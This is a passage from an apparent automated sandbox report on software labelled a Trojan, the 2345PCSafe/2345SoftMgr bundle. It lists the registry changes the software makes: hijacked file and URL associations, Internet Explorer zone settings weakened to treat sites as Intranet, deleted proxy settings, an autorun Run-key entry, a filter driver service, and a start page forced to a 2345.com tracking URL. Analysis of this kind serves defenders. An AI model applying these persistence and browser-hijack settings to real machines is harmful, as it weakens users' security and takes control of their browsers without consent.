[HKLM\SOFTWARE\2345PCSafe\2345Reg\5E4C2F68]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83\open\ddeexec\ifExec]
"(Default)" = "*"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\AAE5463]
"PerceivedType" = "text"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F29666EF\open\ddeexec]
"NoActivateHandler" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\61ACD2B7]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E873A8E0\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\450DF079]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\6F0F4032\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.htm]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\2D9E3006]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\9B08845D\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\res\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\CD49788C\open\ddeexec]
"(Default)" = "%1,,-1,0,,,,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\92A3EB6F]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83\open\ddeexec]
"NoActivateHandler" = ""

[HKCR\.htm]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\92A3EB6F\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F29666EF\open\ddeexec]
"(Default)" = "%1,,-1,0,,,,"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\8E2C0F32]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F8AE33E8]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\57E65BB8\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7526004F\OpenWithList]
"MRUList" = "cba"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\6F0F4032]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\res\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7526004F]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\9027F903\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\8F3519D5\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\9027F903]
"(Default)" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\8F3519D5]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\939EF646]
"Content Type" = "text/html"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E09EB3BD]
"Progid" = "htmlfile"

[HKCR\ftp\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\FD689294\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\92377A40]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7061EB86]
"Content Type" = "text/html"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\AAE5463]
"(Default)" = "htmlfile"

[HKCR\ftp\shell]
"(Default)" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\C8F833B2]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\mk\UserChoice]
"Progid" = "htmlfile"

[HKCR\.xht]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\2345Soft\2345PCSafe]
"2345SFGuard.exe" = "2345安全中心-防护模块"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E308FE55\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\CD49788C\open\ddeexec\Topic]
"(Default)" = "WWW_OpenURL"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7061EB86]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Check_Associations" = "no"

[HKCR\HTTP\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCU\Software\Classes\https\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B07F248D]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCU\Software\Classes\http\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7836E0A9]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\67F7090D]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial\UserChoice]
"Progid" = "htmlfile"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process 2345AvScan.exe:2092 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 5B AB 57 11 FF 05 D2 36 3C 2D D6 BF EE DE 5A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process 2345AvScan.exe:2236 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 D8 66 05 59 91 9F EE 82 CE EE 7D A2 7E F7 DC"

The process 2345AvScan.exe:552 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A1 75 D0 03 BB 02 E1 94 78 B1 95 52 6E AD E0 D3"

The process 2345SoftMgr.exe:1948 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B9 59 2C A6 32 1D A7 7C 9D 35 1B AB D7 A3 4F 0A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

The process 2345SoftMgr.exe:1548 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 5D 0A D5 3F 6B A2 94 AE 86 88 A6 F4 BA 24 F7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process 2345SoftMgr.exe:588 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C3 D6 14 43 6D 3E A9 29 D2 C0 E3 DB 08 32 9B 53"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

The process 2345SoftMgr.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "25 36 00 9E C9 78 42 30 08 33 A5 A7 78 1A F7 4D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"2345SoftMgr" = "%Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe --type=start_service"

The process %original file name%.exe:1772 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "84 A0 27 AF 70 3F BE F1 B2 0D 78 68 45 35 A0 B1"

[HKCU\Software\Microsoft\DirectInput\MostRecentApplication]
"MostRecentStart" = "9E 83 F7 23 3C D2 D0 01"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.2345.com/?k34799713"

[HKCU\Software\Microsoft\DirectInput\MostRecentApplication]
"Version" = "00 07 00 00"
"ID" = "D557FB80C9F6A7096FF0B15825BE72ED.EXE558BA74900F5E000"
"Name" = "D557FB80C9F6A7096FF0B15825BE72ED.EXE"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1276x846x32(BGR 0)" = "31,31,31,31"

The process 2345ExtShell.exe:1164 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "73 66 80 45 DA 5E D0 C5 E9 BA 91 A5 AF 40 0B D9"

[HKCR\CLSID\{C4F75DB1-B9F4-425A-9F5B-778911BCF176}\InprocServer32]
"(Default)" = "%Program Files%\2345Soft\2345PCSafe\2345SafeExt.dll"

[HKCR\Drive\shellex\ContextMenuHandlers\2345PCSafe]
"(Default)" = "{C4F75DB1-B9F4-425A-9F5B-778911BCF176}"

[HKCR\CLSID\{C4F75DB1-B9F4-425A-9F5B-778911BCF176}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Directory\shellex\ContextMenuHandlers\2345PCSafe]
"(Default)" = "{C4F75DB1-B9F4-425A-9F5B-778911BCF176}"

[HKCR\*\shellex\ContextMenuHandlers\2345PCSafe]
"(Default)" = "{C4F75DB1-B9F4-425A-9F5B-778911BCF176}"

[HKCR\Folder\shellex\ContextMenuHandlers\2345PCSafe]
"(Default)" = "{C4F75DB1-B9F4-425A-9F5B-778911BCF176}"

[HKCR\CLSID\{C4F75DB1-B9F4-425A-9F5B-778911BCF176}]
"(Default)" = "2345 PC Safe Shell Extension"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved]
"{C4F75DB1-B9F4-425A-9F5B-778911BCF176}" = "2345 PC Safe Shell Extension"

[HKCR\lnkfile\shellex\ContextMenuHandlers\2345PCSafe]
"(Default)" = "{C4F75DB1-B9F4-425A-9F5B-778911BCF176}"

The Trojan deletes the following registry key(s):

[HKCR\Directory\shellex\ContextMenuHandlers\2345PCSafe]
[HKCR\*\shellex\ContextMenuHandlers\2345PCSafe]
[HKCR\Drive\shellex\ContextMenuHandlers\2345PCSafe]
[HKCR\lnkfile\shellex\ContextMenuHandlers\2345PCSafe]
[HKCR\Folder\shellex\ContextMenuHandlers\2345PCSafe]

The process 2345ExtShell.exe:244 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 17 86 54 C9 71 C0 9F 5B 67 DF CB ED 77 83 6B"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved]
"{C4F75DB1-B9F4-425A-9F5B-778911BCF176}"

The process 2345ShellPro.exe:1128 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FE C1 F5 22 1A 22 E3 FF 3E 4D 05 72 E7 FF 79 93"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

The process 2345ShellPro.exe:460 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\mk\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\ftp\shell]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml\UserChoice]
"Progid" = "htmlfile"

[HKCR\ftp\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid" = "htmlfile"

[HKCR\https\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"DisplayName" = "2345FsMon"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml]
"Progid" = "htmlfile"

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"ImagePath" = "system32\drivers\2345FsMon.sys"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "www.2345.com/?k1742288"

[HKCR\.html]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg]
"Progid" = "htmlfile"

[HKCU\Software\Classes\ftp\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.html]
"(Default)" = "htmlfile"

[HKCR\HTTP\shell]
"(Default)" = ""

[HKCU\Software\Classes\.shtml]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid" = "htmlfile"

[HKCR\https\shell]
"(Default)" = ""

[HKCR\.xhtml]
"(Default)" = "htmlfile"

[HKLM\System\CurrentControlSet\Services\2345FsMon]
"Group" = "FSFilter Content Screener"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\http\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.xht]
"(Default)" = "htmlfile"

[HKCR\htmlfile\shell]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 95 E2 63 50 1B 21 DB FE 87 ED 4F 03 7D 68 2D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial\UserChoice]
"Progid" = "htmlfile"

